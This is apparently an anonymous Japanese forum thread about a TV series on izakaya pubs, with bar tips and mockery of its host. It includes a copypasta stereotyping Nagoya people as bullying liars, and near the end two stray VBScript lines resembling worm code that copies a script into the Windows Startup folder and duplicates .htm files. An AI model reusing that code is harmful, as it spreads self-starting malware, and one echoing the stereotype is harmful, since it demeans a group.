名古屋人「もういいだわ！気分悪いで違うもん注文するでね、この刺身盛り合わせにしてちょう」
店長・店員「はい、ありがとうございます！」
名古屋人「あ、その冷奴も置いといてちょう！それも私の金で買ったもんだでね」

長久酒場だけど、おばちゃんだんだん小さくなってるし
道路の拡張工事で店移転するらしいしで
早く行っといたほうがいいかも

初めてこのスレ来たけどやっぱアンチいるんだね。
自分は太田さんのあのゆったりとした語り口と旨そうな飲み方＆食べ方
けっこう好きだけどな。たまに一見さんお断り的店を紹介してるっぽいけど
ま、入れないわなｗ

今出てるね　北海道帯広編。豚丼はやるといいね、日本で。って言ってるから
ちょい昔の放送か。

季節的には帯広でちょっと行き残ってるってんだったら
先月だと思うぞ。
山わさびだっけ？あれ食べたことない。食べてみたい。
それにしても、最近は美味しい魚＝さしみってわけではない
って感じてきているので一夜干しは魅力的だった。

なんか太田さんと森川ゆかり？が酒交わしながらこの前対談してたけど
太田さん「中にはただ古いだけっていう店もあったりして云々」
と本音をこぼしてたけど今日やってた恵比須のさかき？が
その例なのかな？って思ったよ。ご主人の性格がうざかったし
肴もイマイチでさぁ。太田さんも大変だな〜って思った。
絶対今日の店はイマイチだった。一応褒めてたけど。
本音が聞きたいよ。まぁ表情とかで微妙にわかっちゃうんだけどね。

>>214
それって「続」編のやつか？
25年でも常連の駆け出しってやつ？しんこ刺しだしてたとこ。
悪くはないけど、かな〜りの常連って言うか、
内輪じゃなくちゃ楽しめないかも

たまには、おいらも飲み屋情報を提供するべ〜 Y⌒Y⌒Y⌒Y⌒Y⌒Y⌒(｡A｡)!!!

大田区、蒲田にある『スナック：双美』が面白い！
台湾・中国系の女の子ばかりで、片言の日本語が新鮮さを感じさせてくれる、
料金も蒲田のわりに、リーズナブルで、又、行きたい感じ。

日本人の店もいいけど、たまには趣向を変えて、こういった店もいいかも♪

皆さんのおすすめ飲み場は何処？　情報交換しましょ♪

ホームページありました。
≪スナック・双美≫
http://futami.moo.jp/


ではでは、(*ﾟーﾟ)ﾉシ

>>215
そうそう。ご主人が妙にえばってる感じがして嫌だった。
何年通ってるかによって序列がつけられる居酒屋なんて
嫌だ〜
昔通ってた文豪をわざわざ下の名前で呼んだり、呼び捨てにしたりで
何様かと思ったよ＞ご主人

今日見たら茨城水戸編だったけど
はじめてだったなぁ自分が見た中で
バーのはしごは。ホワイトレディー美味しそうだった。

蛤刺し食べたこと無いなァ
うまそうだ

＞中にはただ古いだけっていう店もあったりして云々
てめえごときが偉そうに言うなバカ！！！

多分>>220は97歳

ﾌﾌｯ

また、オオタが馬鹿なこと言ってます。
どんな店でもいいから記事のネタくれ！だってよ。
所詮、この程度。

http://www.tabi-ch.net/cgi-bin/jawanote.cgi

太田って、こんなとこでネタ仕入れてたのかｗ

つーか番組で行く店も（とくに地方）掲示板で常連が書いたトコしか行ってないし

とんでもない所を紹介して、引導を与えるか？

いや〜、このBBS笑えるなＷ
http://www.tabi-ch.net/cgi-bin/jawanote.cgi

＞私が書いたのは、この一部色濃いＨＰ上ではなく、興味本位の場所で話して欲しくないだけで、

って、太田の本見て酒飲みに行くミーハーの集まりのBBSで「この一部色濃いＨＰ上ではなく」ってギャグだろ？WWW

駒場近くは？

＞と言い切って正しいでしょうか。お教えください。

ﾌﾟｹﾞﾗ!
またまた太田はド素人からの情報で本を書こうとしてまつｗ
一度権威になると楽な商売が出来ていいね〜

http://www.tabi-ch.net/cgi-bin/jawanote.cgi

角野さん対談の回では店員に「早くね！」と言ってたな
やな客の見本だ

>>223
マジで太田氏ってこんな風に情報収集してたんだ。
かな〜り意外...ちょっとガックリ...

ってかあの掲示板は周りの人がO太氏に気に入られようと必死な様子が痛すぎ。
O太氏はそれを最大限利用して(ﾟДﾟ)ｳﾏｰ

浮上

大阪の居酒屋age
ttp://www.shubou-1fuji.com/
ttp://www.happy1969.com/
ttp://www.ne.jp/asahi/sozai/koz/
ttp://www.geocities.co.jp/Foodpia/6651/
ttp://www2.ocn.ne.jp/~hakucyo/

↑
二段目の店
http://academy3.2ch.net/test/read.cgi/psycho/998410860/205-207

飲食店における『名古屋人』の生態

名古屋人「これ見てみやあこれッ！蝿が入っとるがね！こんなもん食えんで作り直してちょう！」
店員「も、申し訳ございません、すぐにご用意いたします！」
名古屋人「あんた、東京の店は客に蝿を食わせるんかね？東京モンは名古屋をバカにしとるんでしょお！」
店員「そ、そんな・・すみません！申し訳ございません！」
名古屋人「この店は客に蝿入りの冷奴食わせる、て宣伝したるでね！オネーサン責任とりやあ」
店員「も、申し訳ありません！すみません、お許しくださ・・い・・（涙目）」
名古屋人「ま〜あかん！！店長呼んでちょう！！店長呼べて言ってるんだて！！」
店長「お客さま、大変失礼をいたしました。お代は結構ですので、ごゆっくりとお寛ぎくださいませ」
名古屋人「もういいだわ！気分悪いで違うもん注文するでね、この刺身盛り合わせにしてちょう」
店長・店員「はい、ありがとうございます！」
名古屋人「あ、その冷奴も置いといてちょう！それも私の金で買ったもんだでね」

名古屋人は、相手が弱いとみると、態度がでかくなり偉そうに振舞う。
そして、すぐに「店長を呼べ」と偉い人を出させ、難癖をつける。
それでいて、自分の過失や間違いは認めないで、嘘をついて他人をおとしいれる。
名古屋人は、そういう腹黒さがあるから大嫌い。

もうすぐ続編だage

太田、実は結構ワンカップ好き

ワンカップも管理された吟醸も味が分からないが正解

DVD発売＆単行本発売記念

fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"

あげ

三州屋。よく行くんだけど銀座にあって良かったって
店だ。